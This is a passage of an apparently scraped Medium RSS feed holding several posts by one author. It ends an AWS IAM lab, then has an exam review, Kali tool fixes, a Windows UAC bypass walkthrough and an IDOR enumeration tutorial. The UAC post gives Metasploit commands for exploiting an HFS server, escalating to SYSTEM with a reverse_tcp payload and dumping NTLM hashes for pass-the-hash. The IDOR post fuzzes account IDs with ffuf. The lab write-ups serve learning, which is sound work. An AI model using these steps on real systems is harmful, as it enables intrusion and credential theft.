<strong>Policies</strong>.</li></ul><blockquote><strong>💡 What is a Policy?</strong></blockquote><blockquote><em>An IAM policy is a rule for who can do what with our AWS resources. It’s all about giving permissions to IAM users, groups, or roles, saying what they can or can’t do on certain resources, and when those rules kick in.</em></blockquote><ul><li>Choose <strong>Create policy</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MUJKqr7NHcL8tWsrjAp4g.png" /></figure><ul><li>Switch your Policy editor tab to JSON.</li></ul><blockquote><em>💡 What are we doing right now?</em></blockquote><blockquote><em>You can create and edit AWS policies in the visual editor or JSON. In this project, we will use the JSON method.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_j-zWWzEfN4f9fl0MFoG7g.png" /><figcaption><strong><em>Step 2: Where to paste your new JSON policy.</em></strong></figcaption></figure><blockquote><em>Question: pause and answer this </em><strong><em>✍️ What do IAM Policies do?</em></strong></blockquote><p>Here’s the policy you’ll be using! Paste this policy into your editor — replace ALL of the existing code in your editor.</p><pre>{    <br>  &quot;Version&quot;: &quot;2012-10-17&quot;,    <br>  &quot;Statement&quot;: [        <br>    {            <br>      &quot;Effect&quot;: &quot;Allow&quot;,            <br>      &quot;Action&quot;: &quot;ec2:*&quot;,            <br>      &quot;Resource&quot;: &quot;*&quot;,            <br>      &quot;Condition&quot;: {                <br>        &quot;StringEquals&quot;: {                    <br>          &quot;ec2:ResourceTag/Env&quot;: &quot;development&quot;                <br>        }            <br>      }        <br>    },        <br>    {            <br>      &quot;Effect&quot;: &quot;Allow&quot;,            <br>      &quot;Action&quot;: &quot;ec2:Describe*&quot;,            <br>      &quot;Resource&quot;: &quot;*&quot;        <br>    },        <br>    {            <br>      &quot;Effect&quot;: &quot;Deny&quot;,            <br>      &quot;Action&quot;: [                <br>        &quot;ec2:DeleteTags&quot;,                <br>        &quot;ec2:CreateTags&quot;            <br>      ],            <br>      &quot;Resource&quot;: &quot;*&quot;        <br>    }    <br>  ] <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPiykawwcB6fBVQjLtYyxA.png" /><figcaption><em>Step 2: Adding your permissions as JSON.</em></figcaption></figure><blockquote><strong>💡Let’s unpack this spicy policy</strong></blockquote><blockquote><em>This policy allows some actions (like starting, stopping, and describing EC2 instances) for instances tagged with “Env = development” while denying the ability to create or delete tags for all instances.</em></blockquote><blockquote><strong>💡 Extra for Experts: how are JSON policies structured?</strong></blockquote><blockquote><strong>Version</strong></blockquote><blockquote><em>‍This means 2012–10–17 is the date of the latest policy version. This tells you whether the policy is up to date with the latest standards and practices.</em></blockquote><blockquote><strong><em>‍Statement</em></strong></blockquote><blockquote><em>‍The main part of the policy structure and defines a list of permissions.</em></blockquote><blockquote><strong><em>‍Effect</em></strong></blockquote><blockquote><em>‍This can have two values — either </em><strong><em>Allow</em></strong><em> or </em><strong><em>Deny</em></strong><em> — to indicate whether the policy allows or denies a certain action. </em><strong><em>Deny</em></strong><em> has priority. Looking at the first statement, “Effect”: “Allow” means this statement is trying to allow for an action.</em></blockquote><blockquote>‍<strong><em>Action</em></strong></blockquote><blockquote><em>‍A list of the actions that the policy allows or denies. In this case, “Action”: “ec2:*” means all actions that you could possibly take on EC2 instances are allowed. Woohoo!</em></blockquote><blockquote>‍<strong><em>Resource</em></strong></blockquote><blockquote><em>‍Which resources does this policy apply to? Specifying “*” means all resources within the defined scope (see the next point).</em></blockquote><blockquote><strong><em>Condition Block (optional)</em></strong></blockquote><blockquote><em>‍The circumstances under which the policy is in action. In this case, the condition is that the resource is tagged </em><strong><em>Env — development</em></strong><em>. This means specifying “Resource”: “*” in the line above means all resources with the </em><strong><em>Env — development</em></strong><em> tag are impacted by your statement.</em></blockquote><blockquote><strong><em>Question:</em></strong></blockquote><blockquote><strong><em>- ✍️ What is the effect of your policy?</em></strong></blockquote><blockquote>- ✍️ What do Effect, Action and Resource mean in a JSON policy?**</blockquote><ul><li>Select <strong>Next</strong> when you’re ready.</li><li>Fill in your policy’s details:</li><li>Name: SuwetoDevEnvironmentPolicy</li><li>Description: IAM Policy for BXY development environment</li><li>Oh no! Turns out there’s a rule for the characters allowed in your Policy description. Edit this description to get rid of that error (can you tell which character is not valid? There’s a hint given to you right underneath the <strong>Description’s</strong> text box).</li><li>Choose <strong>Create policy</strong> when you’re done</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*rkkRiG-t1jKgJPdts5CVPw.png" /><figcaption><em>Step 2: Change this description to make it valid.</em></figcaption></figure><blockquote><em>💡 Feeling stuck? Remove the apostrophe (i.e. ‘ ) 😉</em></blockquote><h3>STEP #3: Create an AWS Account Alias</h3><p>Alrighty, that was the permission policy all set up ✅</p><p>Now that we can give our trainee access to the development instance, the trainee can’t wait to start. They’d love to jump into the team’s AWS account right away!</p><p>Sounds great… where should they go to log in?</p><p><strong>In this step, get ready to:</strong></p><p>Simplify user login to our AWS account using an Account Alias.</p><blockquote><em>Question:</em><strong><em>✍️ What are we doing in this step?</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ZbTFd5p41z1rvpnI8SXwQ.png" /></figure><ul><li>Still in the IAM console, select Dashboard from the left hand navigation panel.</li><li>In the right-hand side of the dashboard, choose <strong>Create</strong> under <strong>Account Alias</strong>.</li></ul><blockquote><strong>💡 What is an Account Alias? Why are we creating one?</strong></blockquote><blockquote><em>Once you onboard new users into our AWS account (which we’ll do for our new BXY trainee), these new users get access through a unique log-in URL for your account.</em></blockquote><blockquote><em>An Account Alias is a friendly name for our AWS account that you can use instead of your account ID (which is usually a bunch of digits) to sign in to the AWS Management Console.</em></blockquote><blockquote><em>our AWS account’s sign-in page has this URL by default: </em><a href="https://your_account_id.signin.aws.amazon.com/console/"><em>https://</em><strong><em>Your_Account_ID</em></strong><em>.signin.aws.amazon.com/console/</em></a></blockquote><blockquote><em>If you create an AWS account alias for our AWS account ID, your sign-in page URL looks more like: </em><a href="https://your_account_alias.signin.aws.amazon.com/console/"><em>https://</em><strong><em>Your_Account_Alias</em></strong><em>.signin.aws.amazon.com/console/</em></a></blockquote><blockquote><em>You would create an alias to make it easier to remember and share our AWS console’s login URL with others e.g. BXY’s new trainee. Companies often use this so that their AWS account sign-in page is more user-friendly for their users!</em></blockquote><p>Step 3: Where to create your Account Alias.</p><ul><li>In the <strong>Preferred alias</strong> field, enter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*bhnQSILaMvNJYDUKIbVRaQ.png" /></figure><p><em>Step 3: Adding your Account Alias.</em></p><ul><li>Choose <strong>Create alias</strong>.</li></ul><blockquote><strong>Question</strong><em>:</em></blockquote><ul><li>What does an Account Alias mean?</li><li>✍️ How long did it take to set up your Account Alias?**</li></ul><p><a href="https://bxy.signin.aws.amazon.com/console">https://bxy.signin.aws.amazon.com/console</a></p><h3>Step #4: Create IAM Users and User Groups</h3><p>Your account alias is looking slick! It should be a lot faster for users to find your account and log in now.</p><p>Our new trainee doesn’t actually have a way to log in to the team’s AWS account yet… what should their username and password be?</p><p>You wouldn’t want to just share your account details with them. After all, you have access to the production instance, which they shouldn’t get access to.</p><p>Let’s solve this problem using IAM again — this time we’re using two other tools called groups and users.</p><p><strong>In this step, get ready to:</strong></p><p>Set up a dedicated IAM <strong>group</strong> for all BXY’s trainees, so we can manage all trainees’ permissions from one place.</p><p>Set up a dedicated IAM <strong>user</strong> for our new trainee, so they have a way to log in.</p><blockquote><em>“Question:</em></blockquote><ul><li><strong>✍️ What are we doing in this step?</strong></li><li>Choose <strong>User groups</strong> in our left-hand navigation panel.</li><li>Choose <strong>Create group</strong>.</li><li>Let’s create our first user group!</li></ul><blockquote><strong>💡 What is an IAM user group?</strong></blockquote><blockquote><em>An IAM user group is a collection/folder of IAM users. It allows you to manage permissions for all the users in your group at the same time by attaching policies to the group rather than individual users.</em></blockquote><ul><li>To set up your user group:</li><li>Name: suweto-dev-group</li><li>Attach permission policies: suwetoDevEnvironmentPolicy</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnSjx241eTTgEdDzxoFfxQ.png" /><figcaption><em>Step 4: Creating your group.</em></figcaption></figure><p>Select <strong>Create user group</strong>. Success!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tWgfcv8wuMImtnmEJa2Gcg.png" /><figcaption><em>Step 4: Successful group creation. Woohoo.</em></figcaption></figure><p><em>Step 4: Successful group creation. Woohoo.</em></p><ul><li>Now let’s add Users to our user group.</li></ul><blockquote><strong>💡 Why do we need users in our user group?</strong></blockquote><blockquote><em>IAM users are the people that will get access to your resources/AWS account, whereas user groups are the collections/folders of users for easier user management.</em></blockquote><blockquote><em>We’re adding users to </em><strong><em>suweto-dev-group</em></strong><em> to grant them the permissions associated with that group.</em></blockquote><blockquote><em>This simplifies managing permissions and ensures consistency across users who have similar access to AWS resources. Imagine if you have a whole team of 5 trainee (users) that need the same permission settings next Summer!</em></blockquote><blockquote><strong>Question</strong></blockquote><ul><li>✍️ What are IAM user groups?</li><li>✍️ What is the effect of attaching your policy to your user group?</li><li>Choose <strong>Users</strong> from the left-hand navigation panel.</li><li>Choose <strong>Create user</strong>.</li><li>Let’s set up this user! Under <strong>User name</strong>, enter</li></ul><p>suweto-dev-maya</p><ul><li>Tick the checkbox for <strong>Provide user access to the AWS Management Console</strong>.</li></ul><blockquote><strong>💡 Why are we ticking this box?</strong></blockquote><blockquote><em>If you don’t tick this box, your new user won’t get to sign in and access AWS services through the Console. They’ll have to access AWS services through other, more advanced methods — we’ll cover those advanced methods (e.g. AWS CLI, SDKs, APIs) in a future project!</em></blockquote><ul><li>Uncheck the box for <strong>Users must create a new password at next sign-in — Recommended</strong>.</li></ul><blockquote><em>💡 Ahem… in the real world, you should absolutely leave this box checked! We are leaving it unchecked because you’ll have to create a new password for this user, which is irrelevant to our learning objectives for today.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*h2DHDb1uzsCIB1SMfnqMWQ.png" /><figcaption><em>create new user</em></figcaption></figure><blockquote><em>💡 Note: This does not show up for every AWS Account, but if you see a highlighted pop-up that asks “Are you providing console access to a person?” — select I want to create an IAM user.</em></blockquote><ul><li>Select <strong>Next</strong> when you’re ready!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jv8ZzpOjPAspaF9CiJAz7A.png" /></figure><ul><li>To set permissions for your user, we’ll simply add it to the user group you’ve created. Select the checkbox next to <strong>suweto-dev-group</strong>.</li><li>Select <strong>Next</strong>.</li><li>Select <strong>Create user</strong>!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*H2adplbxarEEHuhMbdsNvA.png" /><figcaption><em>Step 4: Add your user to the group you created.</em></figcaption></figure><p>WOOO it’s a success — now you’re seeing some specific sign-in details for your new user. Stay on this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21fF-D88bQQpMICLgZrGJQ.png" /></figure><blockquote><em>Question</em></blockquote><ul><li><strong>✍️ What are IAM users? -✍️ What are the two ways you could share a new User’s sign-in details?</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*XDT31oFitmj4yNnONj0kLg.png" /></figure><p>Keep the IAM Credential in password manager so we can share securely</p><h3>Step 5: Test our trainee’s access</h3><p>The new trainee is going to be stoked to receive their keys to the BXY’s AWS account — well done 😎</p><p>Before we pass them their login details, let’s test the trainees’ IAM User’s access first. That way we can make sure that they have the right access to our development instance (and not the production instance).</p><p><strong>In this step, get ready to:</strong></p><p>Log into AWS using the trainees IAM user.</p><p>Test the trainee’s access to our production and development instance.</p><blockquote><em>“Question: -</em><strong><em>✍️ What are we doing in this step?</em></strong></blockquote><ul><li>Copy the <strong>Console sign-in URL</strong>. Do not close this tab!</li><li>Open a new <strong>incognito window</strong> on your browser.</li><li>Open the new console sign-in URL in your incognito window.</li><li>Using the <strong>User name</strong> and <strong>Console password</strong> given in your IAM tab, let’s log in!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*NUsFPesMX178CvBTzoYonw.png" /><figcaption><em>step 5: Signing in as your IAM user.</em></figcaption></figure><p>Woah! Welcome back to our AWS console, but this time as the dev user that you’ve created for yourself.</p><blockquote><em>💡 As a new user, the AWS console will treat you as someone that is starting from 0 again. Awesome for the new team member that you’ll be giving this User to!</em></blockquote><ul><li>As a new user, you’ll notice that some of your dashboard panels are showing <strong>Access denied</strong> already.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Lc51fUuAAqyigj3EfSvgCQ.png" /><figcaption><em>Step 5: An example of Access Denied with your new user.</em></figcaption></figure><blockquote><strong>Question:</strong></blockquote><p><strong>✍️ What did you observe in your new IAM user’s AWS dashboard?</strong></p><ul><li>Head to your <strong>EC2</strong> console, and make sure you’re in the same <strong>Region</strong> as the one where you deployed your two production and development instances.</li><li>Head to <strong>Instances</strong>.</li><li>Select your <strong>production</strong> instance, and in the <strong>Instance state</strong> dropdown, select <strong>Stop instance</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ANLRHs8F9drd041cLcDtew.png" /><figcaption><em>Step 5: Select manage instance state.</em></figcaption></figure><p>Let’s try to stop this instance. Select <strong>Stop</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*v3ZKF3EodP72O_l_dm4sbA.png" /><figcaption><em>Step 5: Changing your instance state.</em></figcaption></figure><blockquote><em>💡 Yoikes! At the top of your page, an angry-looking banner tells us we’ve failed to stop this instance. The banner tells us it’s because we’re not authorized! We don’t have permission to stop any instance with the production tag.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BH0g_FeNOV5fYFO_edpzQ.png" /><figcaption><em>Step 5: Error because you are not authorised.</em></figcaption></figure><p>Now let’s try to stop the development instance.</p><ul><li>Head back to the <strong>Instances</strong> page, and select the checkbox next to <strong>BXY-dev-yourname</strong>.</li><li>Under the <strong>Actions drop-down</strong>, select <strong>Manage instance state</strong>.</li><li>Select <strong>Stop</strong>, then <strong>Change state</strong>. Select <strong>Stop</strong>.</li><li>Success!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Lx19049cETRjDcLa3WM5g.png" /></figure><blockquote><strong>Question</strong><em>:</em></blockquote><ul><li>✍️ What was the action you performed on your two EC2 instances?</li><li>✍️ What happened when you tried to stop the development instance?</li></ul><h3>Conclusion</h3><p><strong>Nice work!</strong></p><p>WOOHOOOOOOOOO WE DID IT 👏</p><p>Congrats on successfully using AWS IAM to control and test user permissions!</p><p>Today you’ve learned how to:</p><ul><li>💻 Launch <strong>EC2</strong> instances.</li><li>🏷️ Use <strong>tags</strong> for easy identification.</li><li>💂 Set up <strong>IAM policies</strong> accessing EC2 instances based on their environment (development or production).</li><li>👩‍👩‍👧‍👧 Create an <strong>IAM user</strong> and assign them to the appropriate user group with the necessary permissions for their role.</li><li>🔓 <strong>Test IAM access</strong> for the User you’ve created.</li></ul><p>Amazing work, you’re an absolute legend.</p><blockquote><strong><em>Question:</em></strong></blockquote><blockquote><strong><em>- What were the key services and concepts you learnt in this project?</em></strong></blockquote><blockquote>- How long did it take you to complete this project?**</blockquote><h3>Delete Your Resources</h3><p>Make sure you delete all your resources to avoid getting charged. This is a super important task for every single project you set up.</p><p>I challenge you to try to give this a go yourself 💪</p><p>Do you think you can delete the resources you’ve created today?</p><p>EC2 development instance</p><p>EC2 production instance</p><p>IAM user group</p><p>IAM user</p><p>IAM policy</p><p>Account Alias</p><p><strong>I will look to read your feedback in comment. Do not forget to share this with a friend.</strong></p><p>IAMBlessed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b164dca7ed18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Passed My ICCA Certification Exam]]></title>
            <link>https://medium.com/@5urg3on/how-i-passed-my-icca-certification-exam-f1efc271633d?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1efc271633d</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Sat, 09 Aug 2025 21:19:00 GMT</pubDate>
            <atom:updated>2025-08-09T21:19:00.967Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Passed My ICCA Certification Exam by INE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0aufhQSRRyG_XZ3zxRLDJg.png" /></figure><p>I’ve taken the AWS Certified Cloud Practitioner (CCP) exam before, but I can honestly say the ICCA is more practical and hands-on, they give you lab access and actual Amazon Web Service (<strong>AWS</strong>), <strong>Azure</strong> and <strong>Google</strong> <strong>Cloud</strong> <strong>Provider</strong> credentials so you can provision resources and create instances while taking the course, that real experience is why I recommend this course.</p><p>Now includes free AWS, Azure, and GCP access so you can practice the labs on real platforms,<br> Tracy Wallace is an excellent instructor, knowledgeable, fun, and has a great sense of humor, you won’t get bored,<br> The lessons take you from basic concepts to a solid understanding of cloud fundamentals.</p><p>The <strong>INE Certified Cloud Associate (ICCA)</strong> is an entry-level certification that covers core cloud computing ideas in a vendor-neutral way, it doesn’t lock you to one provider, instead it shows how concepts apply across AWS, Azure, and GCP.</p><p>It mixes theory with hands-on labs, you won’t be a senior cloud engineer after it, but you will have solid foundations in cloud basics, security considerations, service types, and deployment models, so you can follow along when your IT or DevOps team talks cloud.</p><h3>Course Overview</h3><p>The ICCA course includes video lessons, quizzes, and hands-on labs to prepare you for the exam and real tasks, the flow is clear and logical, topics include:</p><ul><li>Cloud Basics</li><li>Cloud Deployment Models</li><li>Cloud Management</li><li>Shared Responsibility Model</li><li>Cloud Services &amp; Providers</li><li>Identity and Access Management (IAM)</li></ul><h3>Exam Details</h3><p>Time, 1.5 hours<br> Questions, 46 multiple choice<br> Labs, 4 hands-on exercises<br> Mode, open book</p><h3><strong>MCQ</strong></h3><p>You need 70% overall, and you must meet the minimum for each domain,<br> Cloud Concepts, min 72%<br> Cloud Services, min 75%<br> Cloud Security &amp; Regulatory Compliance, min 65%</p><p><strong>Practical Exam LAB</strong><br> There are 4 hands-on labs, you must pass at least 2 out of 4 to clear the practical section, the labs are AWS-based, they test real cloud tasks.</p><blockquote><strong><em>I passed the 4 LABS</em></strong></blockquote><h3>Tips for Passing</h3><ul><li>Study the course material well, it’s short but packed, don’t skim.</li><li>Take clear notes for every lecture, write down commands, links, and important steps, pay attention to the instructor.</li><li>Use extra resources, read the official docs for AWS, Azure, and GCP, those pages will help you in the open-book exam.</li><li>Learn the Cloud Shared Responsibility Model, focus on differences for IaaS, PaaS, and SaaS, this topic is critical.</li><li>Practice the AWS labs many times, the exam labs use AWS, being fast and familiar with the labs makes the practical section easy.</li><li>After you finish the exam labs, submit them inside the exam window, do not terminate or delete the lab instance, INE needs the instance running to validate and grade your work.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1efc271633d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PostgreSQL Collation Version Mismatch Fix in KALI]]></title>
            <link>https://medium.com/@5urg3on/postgresql-collation-version-mismatch-fix-in-kali-cdb6b06c50d1?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdb6b06c50d1</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 22:50:01 GMT</pubDate>
            <atom:updated>2025-07-22T22:50:01.281Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPmKPf4hAq4Rda1E2tGgng.png" /></figure><p>If you ran into this error just as I did, this is a quick fix?</p><p><strong><em>Database ‘msf’ has a collation version mismatch.</em></strong></p><p>It means your system updated the collation libraries (like glibc), but your PostgreSQL database was created with an older version</p><p>Trying to fix it in the Metasploit console won’t work, it doesn’t understand SQL commands</p><p>Here’s the quick fix:</p><p>Open your terminal and run:</p><pre>sudo -u postgres psql</pre><p>Then inside `psql`, run:</p><pre>ALTER DATABASE msf REFRESH COLLATION VERSION;</pre><p>Exit with</p><pre>\q</pre><p>That’s it, your database is now in sync with the new system collation version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*05HeqEWB3M2PGISs44sLyA.png" /></figure><p>If things are still broken or you don’t mind resetting Metasploit:</p><pre>msfdb delete<br>msfdb init</pre><p>Hope that saves someone a headache</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdb6b06c50d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Fixing WPScan Ruby Error on Kali with RVM (The Easy Way)]]></title>
            <link>https://medium.com/@5urg3on/%EF%B8%8F-fixing-wpscan-ruby-error-on-kali-with-rvm-the-easy-way-0e1079c7d44d?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e1079c7d44d</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 16:56:22 GMT</pubDate>
            <atom:updated>2025-06-27T16:56:22.045Z</atom:updated>
            <content:encoded><![CDATA[<p>So I ran into this annoying Ruby error on Kali while trying to use wpscan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOHTf1u5xdxOTR4xUw6DSA.png" /></figure><pre>uninitialized constant ActiveSupport::LoggerThreadSafeLevel::Logger (NameError)</pre><p>Classic Ruby pain. If you’ve seen this while running WPScan on Kali, you’re not alone. It usually means the pre-installed WPScan or system Ruby is messed up (Kali sometimes ships outdated or broken gems).</p><p>Instead of trying to debug Ruby’s internals (not fun), I just nuked the whole thing and ran WPScan in a clean Ruby environment using RVM — and it worked perfectly.</p><p>Here’s how you can fix it too.</p><h3>✅ Step-by-Step Fix (Copy &amp; Paste Friendly)</h3><h3>1. Install Required Dependencies</h3><pre>sudo apt update &amp;&amp; sudo apt install curl gpg2 gnupg2 build-essential -y</pre><h3>2. Import GPG Keys for RVM</h3><pre>curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -<br>curl -sSL https://rvm.io/pkuczynski.asc | gpg2 --import -</pre><h3>3. Install RVM (Ruby Version Manager)</h3><pre>\curl -sSL https://get.rvm.io | bash -s stable</pre><h3>4. Load RVM into Your Shell</h3><pre>source ~/.rvm/scripts/rvm</pre><p>You can also add this to your ~/.bashrc or ~/.zshrc to make it permanent:</p><pre>echo &#39;source &quot;$HOME/.rvm/scripts/rvm&quot;&#39; &gt;&gt; ~/.bashrc</pre><h3>5. Install Ruby (Use Full Version)</h3><pre>rvm install 3.1.4<br>rvm use 3.1.4 --default</pre><p>Check that it worked:</p><pre>ruby -v<br># should say ruby 3.1.4 or similar</pre><h3>6. Install WPScan</h3><pre>gem install wpscan</pre><p>Now you can finally scan like this:</p><pre>wpscan --url https://example.com</pre><p>And <strong>no more Ruby errors</strong>.</p><h3>🧠 Why This Works</h3><p>Kali’s pre-installed WPScan uses system Ruby, and sometimes gems like activesupport are broken or half-updated. Instead of trying to fix the mess, RVM gives you a fresh Ruby environment that just works.</p><h3>🧩 Docker</h3><p>If you want to avoid touching Ruby forever, you can also run WPScan in Docker:</p><pre>docker run -it --rm wpscanteam/wpscan --url https://example.com</pre><h3>🔚 Final Thoughts</h3><p>Hope this helps anyone hitting the same WPScan/Ruby issue on Kali. Sometimes the fastest fix is just setting up your own clean environment instead of fixing someone else’s broken one 😅.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e1079c7d44d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Successfully Bypassed User Access Control (UAC): A Step-by-Step Guide]]></title>
            <link>https://medium.com/@5urg3on/how-i-successfully-bypassed-user-access-control-uac-a-step-by-step-guide-cdd29643f876?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdd29643f876</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Wed, 11 Jun 2025 21:06:11 GMT</pubDate>
            <atom:updated>2025-06-11T21:06:11.324Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll walk you through how I successfully bypassed UAC on a Windows machine. With this, you can gain full control over the system after initial access.</p><blockquote><strong>Let’s understand UAC first before the walkthrough — here’s the step-by-step breakdown.</strong></blockquote><p>UAC (User Account Control) helps protect your system by asking for permission before allowing apps to make big changes. It’s like a security gate that keeps malicious software from sneaking in silently. If someone exploits it, they can run harmful code with full admin rights basically taking control of your computer.</p><p>That’s why bypassing it isn’t just bad, it’s dangerous. It’s there to keep your system and your data safe.</p><h3>STEP 1</h3><p>Before diving into any exploitation, it’s crucial to understand what’s available and exposed on the target system. Using db_nmap in Metasploit helps map out open ports and services, guiding our approach. Here’s the initial scan result I gathered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEhwWh2eT62aGekl3wCaQw.png" /></figure><h3>STEP 2:</h3><p>From the Nmap scan, I noticed an HTTP File Server (HFS) running on the target. This led me to use the rejetto_hfs_exec exploit module in Metasploit. After setting the necessary options, I launched the exploit to gain a foothold on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vnvkHomt1MEByQslG9t7uA.png" /></figure><ul><li>Here we have a Meterpreter session on the target machine. I run the sysinfo command for local enumeration,</li><li>I also run getuid to see the type of privilege I have on the machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JyeBaTIjF6nJJERejhEjxg.png" /></figure><blockquote>The current user has limited privileges, so we need admin access. I put the Rejetto Meterpreter session in the background to use it for the UAC bypass.</blockquote><h3>Step 3: Bypass UAC and Escalate Privileges</h3><p>After gaining an initial session, the next goal is privilege escalation. Bypassing UAC allows us to move from a standard user context to full administrative control. Here’s how I performed the UAC bypass using Metasploit:</p><h4>Steps:</h4><ol><li>Search for available UAC bypass modules:</li></ol><pre>search bypassuac</pre><p>2. Use the injection-based UAC bypass module:</p><pre>use exploit/windows/local/bypassuac_injection</pre><p>3. Set the payload:</p><pre>set payload windows/x64/meterpreter/reverse_tcp</pre><p>4. Set the session to the one we already have:</p><pre>set SESSION 1</pre><p>5. Set the target architecture:</p><pre>set TARGET Windows\ x64</pre><p>6. Run the exploit:</p><pre>exploit</pre><blockquote>Now we gain the bypass session through the previous session 1, we set</blockquote><p>Verify the user context:</p><pre>getuid</pre><p>Attempt full privilege escalation:</p><pre>getsystem</pre><p>After this, I successfully gained a new Meterpreter session with elevated privileges, escalating to <strong>NT AUTHORITY\SYSTEM</strong>, giving me full control over the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Io0MFF3cqQ_xm4vV0cnkw.png" /></figure><h3>Step 4: Dumping Password Hashes</h3><p>With SYSTEM-level privileges, I moved on to extract the password hashes stored on the machine. Using Meterpreter’s built-in tools, I was able to dump the NTLM hashes for all three local users.</p><p>These password hashes can be used in several ways:</p><ul><li><strong>Cracking offline</strong> using tools like Hashcat or John the Ripper to reveal plaintext passwords.</li><li><strong>Pass-the-Hash attacks</strong> to authenticate as that user on other systems without needing the actual password.</li><li><strong>Privilege persistence</strong> by reusing or planting these credentials across the network.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*sZPldrptJcBLH_FicnvQBQ.png" /></figure><p>This step completes the full compromise of the system, from initial access to full control and credential extraction.</p><p>What do you think about this? Drop your opinion in the comments</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdd29643f876" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compromising Web Applications via API Endpoint Enumeration]]></title>
            <link>https://medium.com/@5urg3on/compromising-web-applications-via-api-endpoint-enumeration-ef949149d470?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef949149d470</guid>
            <category><![CDATA[cyberscurity]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[api-security]]></category>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Thu, 06 Feb 2025 21:43:59 GMT</pubDate>
            <atom:updated>2025-02-06T21:54:20.778Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*af0iHn1gqZ2o1p6iIr-q2A.png" /></figure><blockquote>IDOR — Insecure Direct Object Reference or BOLA can pose Access control issue that allow request resource with object ID such as user ID, product ID, or other ID related applications and this is majorly common in API driven application</blockquote><p>I identified and accessed simulated account data (names and home addresses) during a lab session with my <a href="https://www.linkedin.com/in/alex-olsen-ase/">Alex Olsen</a></p><p>So the web app have sequential numbers as user ID that is open to public,</p><p><strong>STEP 1:</strong></p><p>First generate number from 1 to 3000 and save this in txt file “num” using python</p><pre>python3 -c &#39;for i in range(1,3001): print(i)&#39; &gt; num.txt</pre><p><strong>STEP 2:</strong></p><p>LET’s FUZZ this using FFUF</p><ul><li>Install ffuf using</li></ul><pre>sudo apt install ffuf</pre><ul><li>-u : add url of the web application</li><li>-w add wordlist</li></ul><pre>ffuf -u &#39;http://example.com/labs/e0x02.php?account=FUZZ&#39; -w num.txt</pre><p>You can look at the content size and filter by content size that are common</p><pre>ffuf -u &#39;http://example.com/labs/e0x02.php?account=FUZZ&#39; -w num.txt -fs 849</pre><p>Now I get all valid user ID for the Web Application;</p><figure><img alt="" 